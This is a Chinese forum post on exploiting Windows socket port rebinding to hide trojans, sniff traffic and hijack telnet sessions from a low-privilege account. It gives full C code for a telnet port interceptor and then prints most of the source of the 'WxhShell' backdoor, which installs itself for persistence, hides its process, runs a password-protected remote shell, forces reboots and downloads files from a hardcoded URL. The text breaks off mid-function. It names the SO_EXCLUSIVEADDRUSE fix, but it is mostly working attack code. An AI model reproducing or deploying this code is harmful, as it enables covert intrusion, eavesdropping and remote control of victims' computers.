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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |nD`0Rbw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /SyiJCx0  
BP`UB  
  saddr.sin_family = AF_INET; _b+3;Dy  
t<4+CC2H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~! @a  
'SC`->F4D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FK->|  
74Lq!e3hMF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h-<+Pjc  
qu?D`29  
  这意味着什么?意味着可以进行如下的攻击: )9}z^+TH  
lm$T`:c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wDn5|F}i&  
fNQecDuS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zDX-}t_'q  
h>4\I;Ij  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XWkYhTaY  
!O*\|7A(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <|v]9`'  
VP[ J#TPU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zzM 'uo  
C@xh$(y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 86[T BX5'  
TtHqdKL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K1Uur>Pk%  
1g *4e  
  #include q?`bu:yS  
  #include F*QGzbv)  
  #include Y #KgaZ7N  
  #include    i),W1<A1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   < d?O#(  
  int main() 5K,Y6I&$SJ  
  { W}Z'zU?[  
  WORD wVersionRequested; d>2>mT$U  
  DWORD ret; f"z96{zo  
  WSADATA wsaData; !iMsTH<  
  BOOL val; 5@?P 8  
  SOCKADDR_IN saddr; %|UCs8EFm  
  SOCKADDR_IN scaddr; leiP/D6s  
  int err; < }G7#xg  
  SOCKET s; `w2hJP  
  SOCKET sc; ZZ#S\*  
  int caddsize; g^=p)h3  
  HANDLE mt; [^#6.xH  
  DWORD tid;    IS!sJc  
  wVersionRequested = MAKEWORD( 2, 2 ); $P>ci4]t  
  err = WSAStartup( wVersionRequested, &wsaData ); 23zB@aE_?1  
  if ( err != 0 ) { k<m{Wp;-  
  printf("error!WSAStartup failed!\n"); @`)A )  
  return -1; gE|_hfm(  
  } OXI.>9  
  saddr.sin_family = AF_INET; oGa8}Vtc  
   O",:0<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3#W>  
2-FL&DE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VGkwrS;+I  
  saddr.sin_port = htons(23); t=5 K#SX}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7&E3d P  
  { Ao(Xz$cQfW  
  printf("error!socket failed!\n"); YHl6M&*@  
  return -1; IF<pT)  
  } awGI|d  
  val = TRUE; (z\@T`6`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tQF,E&Jo8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }PD? x4  
  { 8ex{N3  
  printf("error!setsockopt failed!\n"); Hr:WE+'  
  return -1; LNtBYdB`pK  
  } A?=g!(wB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >HXT:0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $o0o5 ^Z-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M#UW#+*g!  
lo Oh }y+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $)mK]57  
  { ]7eQ5[ 5s  
  ret=GetLastError(); -m3 O\X  
  printf("error!bind failed!\n"); V^[o{'+  
  return -1; hIE$ut +  
  } 9ELLJ@oNC  
  listen(s,2); 82{Lx7pI  
  while(1) ,dP-sD;<  
  { #3leMZ6  
  caddsize = sizeof(scaddr); Z+x,Awq  
  //接受连接请求 |\Nu+w   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !ffdeWHR  
  if(sc!=INVALID_SOCKET) {%*,KB>b  
  { ,E<(K8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R_`i=>Z-  
  if(mt==NULL) :2vk vLM  
  { zuwlVn  
  printf("Thread Creat Failed!\n"); F|Pf-.r`t  
  break; akoK4!z  
  } [LbUlNq^B@  
  } |wZcVct~  
  CloseHandle(mt); Z_Qs^e$  
  } FWNWOU  
  closesocket(s); },lHa!<^  
  WSACleanup(); 8>%:MS"  
  return 0; $hXhq*5|c  
  }   W1fEUVj  
  DWORD WINAPI ClientThread(LPVOID lpParam) @@M 2s(  
  { JHC 6l  
  SOCKET ss = (SOCKET)lpParam; 7.`Fe g.  
  SOCKET sc; kr[p4X4  
  unsigned char buf[4096]; .5 Sw  
  SOCKADDR_IN saddr; tNj-~r  
  long num; mII7p LbQ  
  DWORD val; `83s97Sa  
  DWORD ret; d0vn/k2I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pUi|&F K">  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2dg+R)%  
  saddr.sin_family = AF_INET; 'B>fRN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `f?v_Ui-$  
  saddr.sin_port = htons(23); LlKvi_z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ji9 (!G  
  { I?r7dQEm  
  printf("error!socket failed!\n"); r)E9]"TAB  
  return -1; e=e^;K4  
  } O/ Yz6VQ  
  val = 100; ^E{M[;sF3y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z]OXitt7  
  { Z<jio  
  ret = GetLastError(); o_R<7o/d|  
  return -1; 'RZ=A+%X  
  }  3 c #oK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (xxNQ] l-(  
  { R9bsl.e  
  ret = GetLastError(); T%zCAfx m  
  return -1; J)tk<&X  
  } O<}3\O )G(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rKxIOJ,T  
  { 0N9`WK  
  printf("error!socket connect failed!\n"); 6:_@;/03%  
  closesocket(sc); `< _A#@  
  closesocket(ss); TkHyXOk"Ky  
  return -1; vM G>Xb  
  } %c:v70*h=  
  while(1) [&y="6No  
  { s[<a(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3*INDD=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "pUqYMB2i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {<$ D|<S  
  num = recv(ss,buf,4096,0); %8C,9q  
  if(num>0) d^b(Uo=$  
  send(sc,buf,num,0); z 3((L  
  else if(num==0) TNun)0p  
  break; A)v! {  
  num = recv(sc,buf,4096,0); _:"PBN9  
  if(num>0) 7uy?%5  
  send(ss,buf,num,0); f+3ico]f@  
  else if(num==0) 9)2 kjBeb  
  break; 1V ?)T  
  } q+<<Ku(20  
  closesocket(ss); n/]w!  
  closesocket(sc); Em6P6D>S>,  
  return 0 ; vl}fC@%WRI  
  } DpA"5RV  
}7Lo}}  
d6RO2^  
========================================================== n`v;S>aT  
kD"BsL*6!  
下边附上一个代码,,WXhSHELL +ftOJFkI  
Hg[g{A_G[  
========================================================== MC\rx=cR\  
m 0jm$> :Z  
#include "stdafx.h" F"I{_yleq'  
-O&u;kh4g  
#include <stdio.h> V%|CCrR  
#include <string.h> CB!5>k+mC  
#include <windows.h> H|UGR ~&  
#include <winsock2.h> 7c.96FA  
#include <winsvc.h> Jeb"t1.$  
#include <urlmon.h> .C HET]  
&>%R)?SZh  
#pragma comment (lib, "Ws2_32.lib") nrFuhW\r  
#pragma comment (lib, "urlmon.lib") J]h$4"  
x{'3eJ^8  
#define MAX_USER   100 // 最大客户端连接数 BeR7LV  
#define BUF_SOCK   200 // sock buffer AhozrroV  
#define KEY_BUFF   255 // 输入 buffer dio<?6ZD9P  
m%$GiNs}  
#define REBOOT     0   // 重启 0;J#".(KQ  
#define SHUTDOWN   1   // 关机 {:@MBA 34  
;pH&YBY  
#define DEF_PORT   5000 // 监听端口  iwiHw  
l(Y U9dp  
#define REG_LEN     16   // 注册表键长度 4k7 LM]  
#define SVC_LEN     80   // NT服务名长度 fS@V`"O6  
owR`Z`^h)  
// 从dll定义API  H8lh.K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{A 5,85  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 27"M]17)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |$>ZGs#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GF^)](xY+  
E`A6GX  
// wxhshell配置信息 =P}BAJ  
struct WSCFG { *- S/{ .&  
  int ws_port;         // 监听端口 !k5I#w:  
  char ws_passstr[REG_LEN]; // 口令 DA9-F  
  int ws_autoins;       // 安装标记, 1=yes 0=no UgqfO(  
  char ws_regname[REG_LEN]; // 注册表键名 QXaE2}}P  
  char ws_svcname[REG_LEN]; // 服务名 th :I31  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 = n>aJ(=Pd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {.r jp`39  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [c`u   
int ws_downexe;       // 下载执行标记, 1=yes 0=no G d%X> ~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B)L=)N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &gv{LJd5b  
E\_Wpk  
}; Q:v9C ^7  
wO-](3A-8P  
// default Wxhshell configuration {p90   
struct WSCFG wscfg={DEF_PORT, *X%dg$VcV  
    "xuhuanlingzhe", H Z)an  
    1, _x'?igy  
    "Wxhshell", L!>EW0  
    "Wxhshell", HxE`"/~.7k  
            "WxhShell Service", i!nPiac  
    "Wrsky Windows CmdShell Service", Le?yzf  
    "Please Input Your Password: ", +t8{aaV  
  1, pBR9)T\ n  
  "http://www.wrsky.com/wxhshell.exe", dv7IHUFf  
  "Wxhshell.exe" C@P4}X0,=  
    }; H?H(=  
NA/hs/ '  
// 消息定义模块 ;$FpxurX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hQFF%xl  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ?|$IZ9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `i"7; _HoV  
char *msg_ws_ext="\n\rExit."; ^q@6((O  
char *msg_ws_end="\n\rQuit."; )@hG#KMK  
char *msg_ws_boot="\n\rReboot..."; ^Gt9.  
char *msg_ws_poff="\n\rShutdown..."; n !oxwA!  
char *msg_ws_down="\n\rSave to "; fGf C[DuY  
\9Yc2$dY  
char *msg_ws_err="\n\rErr!"; =rL^^MZp  
char *msg_ws_ok="\n\rOK!"; ^#0k\f>_  
h%=>iQ%enc  
char ExeFile[MAX_PATH]; Shag4-*@hi  
int nUser = 0; BKJwM'~  
HANDLE handles[MAX_USER]; J]"IT*-Ht  
int OsIsNt; Cju%CE3a  
Jx-dWfe  
SERVICE_STATUS       serviceStatus; ", Ge:\TR=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; USrBi[_ci\  
l,w$!FnmR  
// 函数声明 QPZ|C{Ce  
int Install(void); Vmb `%k20'  
int Uninstall(void); ? CabVj-r  
int DownloadFile(char *sURL, SOCKET wsh); OZCbMeB{+J  
int Boot(int flag); IPTEOA<M[  
void HideProc(void); -ge :y2R_w  
int GetOsVer(void); Xlp$ xp"  
int Wxhshell(SOCKET wsl); YT@D*\  
void TalkWithClient(void *cs); m1\+~*i  
int CmdShell(SOCKET sock); ;Q{~jT  
int StartFromService(void); I5$]{:L|9  
int StartWxhshell(LPSTR lpCmdLine); Ojwhcb^  
Osj/={7g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^?Y x{r~9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FVo_=O)  
h,Nq:"}  
// 数据结构和表定义 EWZ?q$  
SERVICE_TABLE_ENTRY DispatchTable[] = \|wUxijJ*,  
{ ]N#%exBVo  
{wscfg.ws_svcname, NTServiceMain}, 4xl}kmvv  
{NULL, NULL} >vny9^_  
}; v "Yo  
id=:J7!QU  
// 自我安装 $ KAOJc4<  
int Install(void) 0^G5 zQlj  
{ xkPH_+4i8  
  char svExeFile[MAX_PATH]; JsY|Fv  
  HKEY key; !o{>[  
  strcpy(svExeFile,ExeFile); (;(P3h  
g=q1@)  
// 如果是win9x系统,修改注册表设为自启动  ]$=\zL  
if(!OsIsNt) { gq`S`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'G|M_ e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BJ$\Mb##3@  
  RegCloseKey(key); !7fL'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1SY`V?cu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aZBS!X  
  RegCloseKey(key); n72+X  
  return 0; :Y\!~J3W  
    } J =j6rD  
  } !$1'q~sO  
} 6!Z>^'6  
else { p@Va`:RDW  
#J_+ SL[  
// 如果是NT以上系统,安装为系统服务 L2$`S'UW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BnwYyh  
if (schSCManager!=0) Jp#Onl+d6  
{ F caO-  
  SC_HANDLE schService = CreateService fZ7Ap3dmP  
  ( #UYrSM@u  
  schSCManager, W5c?f,  
  wscfg.ws_svcname, :IB@@5r1  
  wscfg.ws_svcdisp, s(u,mtG  
  SERVICE_ALL_ACCESS, k  __MYb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NB@TyU  
  SERVICE_AUTO_START, ROWrkJI>i  
  SERVICE_ERROR_NORMAL, E{B8+T:3  
  svExeFile, Zp'q;h_  
  NULL, O_bgrXg6x  
  NULL, Dqz9NB  
  NULL, *F)+- BB  
  NULL, ]@G$ L,3  
  NULL 552U~t  
  ); vk>EFm8l  
  if (schService!=0) =j&qat  
  { D$&LCW#x  
  CloseServiceHandle(schService); D&C83^m  
  CloseServiceHandle(schSCManager); \:[J-ySJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  8-.jf  
  strcat(svExeFile,wscfg.ws_svcname); "u=U@1 ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b>_eD-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -z6{!  
  RegCloseKey(key); = 3("gScUj  
  return 0; 3{"MN=  
    } fx#Krr @  
  } R&P}\cf8T  
  CloseServiceHandle(schSCManager); Ao}J   
} )/4xR]  
} 8F(Vd99I  
 >M-ZjT>  
return 1; T:?01?m  
} FM=- ^l,  
}(-2a*Z;Y  
// 自我卸载 |(Q !$  
int Uninstall(void) A!bH0=<I  
{ &E+2  
  HKEY key; ?K>=>bS^h  
'v?"TZ  
if(!OsIsNt) { IJzPWs5W:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >^|( AzS  
  RegDeleteValue(key,wscfg.ws_regname); AhauNS^"{R  
  RegCloseKey(key); S1&Df%Ra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y [ p  
  RegDeleteValue(key,wscfg.ws_regname); o+F]80CH  
  RegCloseKey(key); p*l]I *x'<  
  return 0; Ph Ep3o&"  
  } p+7ZGB  
} *<rBV`AP  
} YgfQ{3^I  
else { iLR^V!  
!c#~g0H+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9 %MHIY5  
if (schSCManager!=0) S#g=;hD  
{ ){S/h<4m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b$O1I[o  
  if (schService!=0) $1< ~J  
  { ^`< %Pk  
  if(DeleteService(schService)!=0) { XaH%i~}3  
  CloseServiceHandle(schService); ?VaAVxd29  
  CloseServiceHandle(schSCManager); 8*[Q{:'.  
  return 0; +w(>UBy-  
  } aH(B}wh{  
  CloseServiceHandle(schService); Y%"73.x  
  } }+3v5Nz;  
  CloseServiceHandle(schSCManager); p^/6Rb"e  
} #lo1GoL\  
} 8H<:?D/tH  
Zwm2T3@e  
return 1; [L4s.l_#  
} |WMP_sGn  
`Ir{ax&H.e  
// 从指定url下载文件 sPoH12?AL  
int DownloadFile(char *sURL, SOCKET wsh) =bDy :yY}  
{ 5L%\rH&N  
  HRESULT hr; s J~WzQ  
char seps[]= "/"; 2C@s-`b   
char *token; q\q8xF~[p  
char *file; .*acw  
char myURL[MAX_PATH]; x+B7r& #:  
char myFILE[MAX_PATH]; )xPfz  
"1X@t'H38  
strcpy(myURL,sURL); e/* T,ZJ  
  token=strtok(myURL,seps); pipO ,n  
  while(token!=NULL) +D&aE$<  
  { [\ALT8vC?m  
    file=token; E%tGwbi7  
  token=strtok(NULL,seps); 8IrA {UU  
  } mYRW/8+g  
+PfXc?VU  
GetCurrentDirectory(MAX_PATH,myFILE);  p;k7\7  
strcat(myFILE, "\\"); <+iL@'SgF  
strcat(myFILE, file); c^a D r  
  send(wsh,myFILE,strlen(myFILE),0); |y}iOI  
send(wsh,"...",3,0); $CgR~D2G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "pLWJvj6-  
  if(hr==S_OK) )*tV  
return 0; F\U^-/0,  
else ,ag:w<km  
return 1; V\4zK$]  
` 0}z ;&:  
} !`$xN~_  
[ _N w5_  
// 系统电源模块 t=B>t S.hO  
int Boot(int flag) } 63Qh}_Y  
{ [8OQ5}do/  
  HANDLE hToken; U`w `Cr  
  TOKEN_PRIVILEGES tkp; 6^vseVx  
`of` uB  
  if(OsIsNt) { i=mk#.j~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  WPnw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?9I=XTR  
    tkp.PrivilegeCount = 1; c"H59 jE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d} {d5-_a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !da [#zK  
if(flag==REBOOT) { @ UgZZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )!tqock*v  
  return 0; G+dQ" cI9  
} rm"C|T4:V  
else { o{n)w6P{R,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xe:gH.}  
  return 0; ln~;Osb  
} M}c gVMW  
  } 5:r*em  
  else { "jFRGgd79  
if(flag==REBOOT) { g$P<`.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IA$)E  
  return 0; %40uw3  
} v0|[w2Q2  
else { ecg>_%.>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F )|0U~  
  return 0; P_{jZ}y(  
} B<}0r 4T}  
} ,KO_h{mI<  
+&j&es  
return 1; wEu"X  
} ML9nfB^z!  
_5%NG 3c  
// win9x进程隐藏模块 `Fn6*_n  
void HideProc(void) =iZj&B X  
{ hynX5,p;.  
Eh{]so  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RqnT*  
  if ( hKernel != NULL ) p#fd+  
  { =!pfgE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7=e!k-G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yi-S^  
    FreeLibrary(hKernel); =:~%$5[[  
  } }g@5%DI]  
PRo;NE  
return; Uw:gJ 9  
} Aqp$JM >  
FdZG%N>Z  
// 获取操作系统版本 :p6.v>s8  
int GetOsVer(void) bm Hl\?  
{ +2WvGRC  
  OSVERSIONINFO winfo; RXZ}aX[h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n:i?4'-}  
  GetVersionEx(&winfo); XX])B%*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H[S 4o,  
  return 1; Q \E [py  
  else }% m:^*@$9  
  return 0; gOnVN6  
} @j vF[wi;  
%?`TyVt&0  
// 客户端句柄模块 QL{{GQ_dn  
int Wxhshell(SOCKET wsl) v\;hI5WY  
{ 3$E\B=7/U  
  SOCKET wsh; 265sNaX  
  struct sockaddr_in client; Vu u2SS  
  DWORD myID; 6n}5>GSF  
afJ`1l  
  while(nUser<MAX_USER) rEl bzL"&<  
{ icnc5G  
  int nSize=sizeof(client); NDt +m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TGe)%jZ  
  if(wsh==INVALID_SOCKET) return 1; OB&lq.r  
\4B2%H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JC[G5$E  
if(handles[nUser]==0) sp VE'"^  
  closesocket(wsh); fQtV-\Bc  
else -55Pvg0ND  
  nUser++; 8&0+Az"{O  
  } $cUTe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /N'|Vs,X  
G"~%[k  
  return 0; HU='Hk!  
} Uz&XqjS  
=@UgCu>=  
// 关闭 socket N8s2v W  
void CloseIt(SOCKET wsh) acXB vs  
{ No1*~EQ  
closesocket(wsh); w&F/P]1  
nUser--; H$j`75#u?-  
ExitThread(0); ) C?emTih  
} :gvw5h%  
HRPNZ!B  
// 客户端请求句柄 GdxMHnn=  
void TalkWithClient(void *cs) ELlTR/NW  
{ /<\B8^yQ  
pjh o#yP  
  SOCKET wsh=(SOCKET)cs; Tn'_{@E;  
  char pwd[SVC_LEN]; ;is*[r\|1  
  char cmd[KEY_BUFF]; 13X0LN  
char chr[1]; < mb.F-8  
int i,j; G31??L:<  
_ zh>q4M  
  while (nUser < MAX_USER) { .%iJin"  
Xw|t.0  
if(wscfg.ws_passstr) { ~gjREl,+D#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m3La;%aA0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T==(Pw7R7  
  //ZeroMemory(pwd,KEY_BUFF); rTR4j>Ua~  
      i=0; Ai 9UB=[R  
  while(i<SVC_LEN) { [^U#ic>cT  
%kcyE<c  
  // 设置超时 D)u 9Y  
  fd_set FdRead; >*5+{~k~4  
  struct timeval TimeOut; AhjUFz  
  FD_ZERO(&FdRead); r-ldqj  
  FD_SET(wsh,&FdRead); H,F/u&O  
  TimeOut.tv_sec=8; 0%9Nf!j  
  TimeOut.tv_usec=0; iyRB}[y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _B5t)7I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AxXFzMW  
: Y{aa1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D~< 3  
  pwd=chr[0]; :-I~-Yj  
  if(chr[0]==0xd || chr[0]==0xa) { vWM3JH~a6  
  pwd=0; Pd,+= ML  
  break; -RSPYQjz  
  } <N Lor55.]  
  i++; *TjolE~o  
    } -\.'WZo`  
7H1 ii   
  // 如果是非法用户,关闭 socket 5g{L -8XwI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s?.A $^t  
} 6+:Tv2  
X C jYm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HhmC+3w.7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &r{.b#7\/A  
*acN/Ca1  
while(1) { ; U)a)l'y  
1lxsj{>U  
  ZeroMemory(cmd,KEY_BUFF); q*<Fy4j  
NbD"O8dL~E  
      // 自动支持客户端 telnet标准   .Q,IOCHk  
  j=0; "]jGCo>9  
  while(j<KEY_BUFF) { Ew4>+o!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 31w9$H N  
  cmd[j]=chr[0]; `o9vE0^T<  
  if(chr[0]==0xa || chr[0]==0xd) { W.xlS ZEB  
  cmd[j]=0; F^ m`j6  
  break; ?D].Za^km  
  } =ZsM[wd  
  j++; MZ(TST"  
    } @aG1PG{  
g[rxK n\Z  
  // 下载文件 x,s Ma*vd  
  if(strstr(cmd,"http://")) { a:PS}_.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^8mF0K&  
  if(DownloadFile(cmd,wsh)) X[frL)k]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nt/+?Sj  
  else f PoC yl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5$r`e+Nf'  
  } kKFSCl/g  
  else { 6AZJ,Q\E@  
]7QRelMiz+  
    switch(cmd[0]) { B%v2)+?@  
  X(-e-:B4;  
  // 帮助 .b4_O CGg  
  case '?': { 9.KOrg5}L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [e2sUO0~r  
    break; ;CU<\  
  } qsB,yckml  
  // 安装 -%&_LE9ZtS  
  case 'i': { 2V}tDN7c  
    if(Install()) q;T3bxp+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?fog 34g  
    else &CvNNDgrJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xd_86q8o  
    break; VrF(0,-Z`3  
    } \dyJ=tg  
  // 卸载 _E e`Uk  
  case 'r': { _}X_^taTZS  
    if(Uninstall()) n7 RswX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?P k~7  
    else ;79X# hI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wgl7)Xk.)  
    break; SR 9 Cl  
    } UFxQ-GV4  
  // 显示 wxhshell 所在路径 KzRw)P  
  case 'p': { +\FTR  
    char svExeFile[MAX_PATH]; 5!ll #/ {`  
    strcpy(svExeFile,"\n\r"); U!:Q|':=h  
      strcat(svExeFile,ExeFile); D6iHkDTg  
        send(wsh,svExeFile,strlen(svExeFile),0); tJ>OZ  
    break; v;S7i>\  
    } (+<SR5,/3  
  // 重启 |Ire#0Nwx  
  case 'b': { _y}]j;e8>{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Azx4+`!-  
    if(Boot(REBOOT)) q$EicH}k8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vUGEzCM  
    else { N[ %^0T$  
    closesocket(wsh); XqVhC):  
    ExitThread(0); 6i/x"vl>  
    } aOq>Ra{T  
    break; [>P@3t(/  
    } esH>NH_  
  // 关机 +/60$60[z  
  case 'd': { j2T Z`Z?a^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #vi `2F  
